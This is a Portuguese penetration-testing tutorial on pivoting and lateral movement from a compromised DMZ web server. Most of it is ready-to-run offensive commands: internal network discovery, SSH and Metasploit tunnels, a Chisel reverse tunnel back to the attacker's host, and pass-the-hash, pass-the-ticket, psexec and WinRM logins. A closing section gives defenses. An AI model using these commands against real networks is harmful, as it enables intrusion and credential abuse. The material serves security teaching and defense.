Avançado Pentest e Ofensiva
Pivoting e movimento lateral — acessar redes internas via host comprometido
Pivoting simula o que acontece após um atacante ganhar o primeiro acesso: ele usa essa máquina como trampolim para alcançar outros segmentos da rede, normalmente inacessíveis diretamente.
Conceito de pivoting
Cenário típico:
Internet → [Firewall] → DMZ (192.168.1.0/24)
└── WebServer (192.168.1.50) ← COMPROMETIDO
└── Rede Interna (10.0.0.0/24)
├── DC (10.0.0.10)
├── DB (10.0.0.20)
└── HR (10.0.0.30)
Objetivo do pivoting:
Atacante está em 192.168.1.50 e quer alcançar 10.0.0.0/24
sem comunicação direta com a rede interna.
Descoberta da rede interna
# No host comprometido — descobrir interfaces e rotas
ip addr show
ip route
cat /etc/hosts
arp -a # hosts que se comunicaram recentemente
# Sweep de descoberta (sem nmap instalado no alvo)
for i in $(seq 1 254); do ping -c 1 -W 1 10.0.0.$i 2>/dev/null | grep "64 bytes" & done
# Com nmap rodando no host de ataque via pivot
nmap -sn 10.0.0.0/24 --proxies socks5://127.0.0.1:1080
SSH Tunneling — técnica fundamental
Port forwarding local
# Acessar serviço na rede interna via SSH
# Redireciona porta local 3306 → DB interno (10.0.0.20:3306) via pivot
ssh -L 3306:10.0.0.20:3306 usuario@192.168.1.50
# Agora, na máquina de ataque:
mysql -h 127.0.0.1 -P 3306 -u root -p
Port forwarding dinâmico — SOCKS proxy
# Cria proxy SOCKS5 na porta 1080
ssh -D 1080 usuario@192.168.1.50
# Configurar proxychains para usar o proxy
# /etc/proxychains.conf:
# socks5 127.0.0.1 1080
# Rotear qualquer ferramenta pelo pivot
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains curl http://10.0.0.10
proxychains crackmapexec smb 10.0.0.0/24
Metasploit — pivot com route
# No Meterpreter, após comprometer 192.168.1.50
run post/multi/manage/autoroute # adiciona rotas automaticamente
# Ou manualmente:
background
route add 10.0.0.0/24 [session_id]
route print
# Agora módulos do Metasploit alcançam 10.0.0.0/24
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run
# SOCKS proxy via Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run
Chisel — tunneling sem SSH
Útil quando SSH não está disponível ou filtrado.
# No host de ataque (servidor):
./chisel server -p 8080 --reverse
# No host comprometido (cliente):
./chisel client 192.168.1.100:8080 R:1080:socks
# Resultado: proxy SOCKS5 em 127.0.0.1:1080 no host de ataque
# Roteie via proxychains como antes
Movimento lateral — técnicas
Pass-the-Hash (PTH):
Usa hash NTLM capturado para autenticar sem saber a senha em texto claro
crackmapexec smb 10.0.0.0/24 -u administrator \
-H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Pass-the-Ticket (PTT):
Usa ticket Kerberos roubado para autenticar em serviços AD
impacket-getTGT example.local/user:password
export KRB5CCNAME=user.ccache
impacket-psexec -k -no-pass example.local/user@dc.example.local
PsExec / WMI / WinRM:
Execução remota com credenciais válidas
impacket-psexec administrator:senha@10.0.0.10
evil-winrm -i 10.0.0.10 -u administrator -p senha
Double pivot — encadeamento de pivots
Atacante → Pivot1 (DMZ) → Pivot2 (Rede Corporativa) → Rede Restrita
# Via SSH encadeado
ssh -L 2222:10.0.0.50:22 usuario@192.168.1.50
ssh -D 1080 -p 2222 usuario2@127.0.0.1
# Via proxychains encadeado
# /etc/proxychains.conf:
# socks5 127.0.0.1 1080 # primeiro pivot
# socks5 127.0.0.1 1081 # segundo pivot
Defesa contra pivoting e movimento lateral
Segmentação de rede:
→ VLANs separadas por função (DMZ, Corporativa, Industrial, DB)
→ Firewall entre segmentos — negar tudo, liberar só o necessário
→ Zero Trust: autenticação mesmo em redes internas
Detecção:
→ Alertar conexões SSH de servidores para outras redes
→ Monitorar port forwarding (netstat, auditd)
→ Detectar uso de ferramentas como chisel/ngrok/frp
→ Correlacionar autenticações de mesma conta em múltiplos hosts (PTH/PTT)
Hardening:
→ Desabilitar autenticação por senha no SSH (somente chave)
→ Credential Guard (Windows) — protege LSASS de dump
→ Protected Users group no AD — limita uso de NTLM/Kerberos
Pivoting revela o real impacto de um comprometimento. Um servidor web vulnerável pode ser o ponto de entrada para o banco de dados de RH.